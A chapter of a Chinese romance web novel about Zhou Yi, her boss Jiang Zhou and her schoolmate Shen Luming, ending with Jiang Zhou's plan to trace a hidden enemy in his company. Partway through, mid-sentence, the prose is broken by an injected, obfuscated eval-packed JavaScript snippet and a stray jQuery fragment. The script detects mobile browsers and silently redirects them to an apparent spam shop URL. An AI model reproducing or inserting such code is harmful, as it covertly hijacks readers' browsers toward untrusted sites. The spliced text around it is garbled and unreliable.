昏暗的灯光下,玉白的皮肤成为房间唯一一抹亮色。马甲的边缘在皮肤上留下三两道红痕,与腰腹遒劲的肌肉形状交错。江昼轻轻掰开周翳的肩膀,赤裸的胸膛一轻,他也终于呼出一口气。
下一秒,重量又压回身上,周翳的手脚紧紧缠在他的背上、腰上,流畅的身体线条与衣料完美嵌合。
江昼尴尬地抬起手,想再推开周翳,却又怕她就此醒来。
周翳却睡得香甜,脸颊在江昼结实的胸肌上磨蹭,温热的呼吸喷在胸膛。胸腔上还能感受到另一颗跳动的心跳,窗外的风声和狗叫都消失。耳畔只有心跳“咚咚”的跳动。
咚、咚、咚......
睡梦中,周翳觉得胸前有东西跳的很快,手指慢慢摸索。所到之处,指下的东西就会变硬,玩心四起,她忍不住顺着线条越摸越下。
“周小姐,早上好。”手机上出现一行字“HHHHHHHH......”,江昼转头看去,周翳正打着哈欠向他的方向挥手,眼角还沁出一滴眼泪。
乔秘书关切地问:“昨晚没睡好吗?”
江昼紧握手机,屏幕上一个字母都没有再打出。
“可能吧。”周翳揉了揉太阳穴,宿醉的后劲太大了。看在工资的份上,她用尽全身的力气支撑着来上班。
周翳走到乔秘书和江昼身后,地砖反射烈日的光,她头更晕了,眯着眼问:“你们,你们不走吗?”
乔秘书看了眼江昼,江昼则全神贯注地盯着手机屏幕,严肃的表情让他也收起了笑容。
“你......你们江总有事?”周翳压低了声音,又靠近了一些乔秘书,“要不,我先走?”
“可以可......”乔秘书点头,身侧的人却大步往前走,他只得跟上去。
江昼大步流星往前走,一个眼风也没留给后面。他就知道,守财奴睡得跟猪一样,哪里记得昨晚的事情。
周翳冰凉的手指在皮肤上游走,指腹上残留的啤酒让她寸步难行。不知何时他身上竟起了细密的汗,指尖像毛笔不断汲取墨水,又沾着墨水在雪白的纸张上画出痕迹。
该死,又想到这里。江昼挑开脖颈的扣子,手指在触碰到锁骨指尖时猛地收回,好像还能感觉到丝丝热气洒在上面。
门口空出来,周翳扶着头慢悠悠走在后面。乔秘书慌张的背影,让她忍不住又想起那句歌词,暧昧总是让人委屈~
果然身份不对等的恋爱,就算在一起,也总有一方要不断妥协。
昨晚那通电话也是提醒自己,不要白日做梦,妄想配得上沈鹿鸣。周翳失落地拿出手机,沈鹿鸣在八点半和九点都发了信息。
“你的猫没事吧?我认识一家宠物医院,有需要我送你去。”
“你还好吧?你家里的事情我听说了,有难处记得告诉我。”
周翳苦笑,纸糊的体面,轻轻一戳就露馅了。真难看啊。
“早上好。”周翳抬头,沈鹿鸣不知何时已经走到她身边。
耳边响起了蜂鸣声,周围的交谈和脚步都被蜂鸣声掩盖,喉咙粗粝得跟她家门口的土路一样。
“早,早上好。”
“叔叔阿姨没事了吧?”沈鹿鸣看到周翳头顶炸毛的发丝,按下想要抚摸的冲动,“我爸说最近针对黄金和白银投资的骗局很多,好在他们只买了白银,数额也不是很大。等钱追回来会通知他们的,你也不用太担心。”
乡间土路上的沙尘飞过六百多公里还是落在周翳眼里,她眨巴眼睛,强忍着酸胀挤出笑脸:“好,谢谢学长。”
电梯声音打断了蜂鸣,周翳转头,急切地朝电梯走去。眼眶快要盛不住泪水,她急需一个可以逃避的空间。
江昼的目光从周翳身后收回,眉头轻皱,沈鹿鸣昨天把守财奴说得那么伤心,早上居然还追过来。电梯门开始关闭,周翳小跑起来,焦急地喊:“诶,等一下!”
一只手伸向电梯按钮,但有只更快的手按下,电梯门又往两边开。
“学长,等一下周小姐。”
江昼不可置否,冷淡的眉眼没有任何动作,只是才悄悄放下的手在身侧握成拳头。
帆布鞋踏进电梯,身后却传来沈鹿鸣的话。
“一一,我有话想对你说。”
抬起的脚跟又落回原处,周翳咬紧下嘴唇,心乱如麻。沈鹿鸣要跟我说什么,爸妈的事情吗?
江昼就站在周翳前面,垂眼看到周翳蓬乱的发顶。手指不耐烦地在腿侧点,守财奴还在等什么,忘了昨晚哭的样子了?
“要进吗?”
“一一,我有重要的事情跟你说。”
江昼高大的身影笼罩在周翳的头顶,身后沈鹿鸣的话像一根藤蔓绕在她的脚上,周翳动弹不得。
“进吗?”江昼重复,低沉的声音给倒影加上了分量,周翳被压得无法抬头。
板鞋再次抬起,等鞋尖落下时,电梯门也随之关闭。紧密的空间里,江昼的面皮在冷光下更加冷峻。周围的人悄悄往后退了一步,全部背贴着墙壁站立。
昨晚还为了沈鹿鸣喝得大醉,睡一觉又凑上去,守财奴花痴得没了骨气!
周翳退回电梯外,直到一双皮鞋走到她的对面,身侧的手捏紧了衣角。
“一一,一会我就要去临城分公司了。我想告诉......”沈鹿鸣的声音带着不易察觉的颤抖和期待。
阳光落在旋转门框上,刺眼的光从沈鹿鸣身后散开,周翳半眯着眼睛看不清他的表情,只是身侧的手松开了。
沈鹿鸣要暂时去临城,周翳心中泛起失落,但随之而来的是轻松,暂时不用在狼狈的时候面对他了。只要给她一些时间,等沈鹿鸣调回江城,她将会是一个全新的、真正优秀的周翳。
门框旋转,身后的光也转去另一边,沈鹿鸣的面容依旧温和,只是话语却停顿了。
“告诉什么?”周翳的心跳莫名加快。
“我想告诉你,在江城有事还是可以找我。”沈鹿鸣朝她眨眨眼睛,“事情办完了,会很快调回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958364|193235||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江城的。”
“嗯,你的能力一定会很快办完。”周翳也露出笑容。趁着转身走进电梯的时候,心里却骂自己白日做梦,竟然期待沈鹿鸣像自己表白,她又不是小说女主!
周翳调整好心情:“对了,昨晚叔叔花了多少钱,我转你。”
“没多少钱。”
“那怎么可能!叔叔帮忙疏通关系,欠的可都是人情。”周翳拍拍胸脯,“放心,我有些存款,要不然以后可不敢再找你帮忙了。”
“也就两条烟,都是我爸老同事,没要钱。”沈鹿鸣目光关切,“对方的医药费到位了就没事。”
电梯到达7层,周翳走出电梯,挥手的身影被关闭的电梯门隔绝。她自然也没看到,沈鹿鸣皱起的衣角。
手机的铃声孤单地在电梯中响起,沈鹿鸣打开,屏幕上是一万元转账。
“我倒希望你欠我人情。”沈鹿鸣自言自语,思绪也被带回那个塑胶球场。
烈日炎炎,学校唯一的篮球场上挤满了运球、投篮的人。在一众漏气和普通的篮球中,一颗崭新、浑圆的篮球引起了他的注意,拍在那颗篮球上的手却意外地小。沈鹿鸣看过去,是高一跑步很快的那个女生,校运会800和1500米都是冠军。
只是赛道上敏捷的她却在篮球场寸步难行,几次运球都无法向篮筐前进,篮球反弹的高度越来越低。
投啊,就这个角度!
那只手跟她心有灵犀,转动手腕把篮球投了出去。可惜手腕力气不够,篮球打在篮筐上无力地落下。隔壁班的胖子先她一步抢走了球,一股热血涌上心头,他记得自己说:“胖子欺负女生啊?”
球到了自己手里,她却依旧没有上前,真是个奇怪的女生。新球的手感让他无法放手,索性提议:“你一球,我一球,好吗?”
那个下午,球打得很慢,以至于他没几天就忘了这件事。直到那个雨天,一把伞挡住了他头上的雨。
“那个,谢谢你上次帮我,伞给你。”
温热的手把伞塞到自己手里,就头也不回地扎进了大雨中。
“叮”,电梯到达30层,沈鹿鸣地思绪从大雨中拉回。
“一来、一往,你总是想要回报。”沈鹿鸣苦笑,从少年到现在,周翳一直都没变过。
百叶窗又恢复原状,江昼收回手,电脑上的时间才过了5分钟。
乔秘书恰好推门而入:“学长,您看什么?”
“没什么,眼睛累了。”
乔秘书又神神秘秘地说:“我刚看到鹿鸣进会议室了。”
“那不正常,快要上班了还能说什么。”江昼白了眼乔秘书,果然恋爱就是会影响工作,他必须得让他专心在工作上。
“临城那边的网络环境都准备好了吗?”
乔秘书收起八卦的笑容:“已经准备好了,只要那个人使用分公司的网络登录‘木柚’的账号,我们的人就能即可追踪。”
江昼颔首,他倒要看看,公司里究竟是谁要他的命!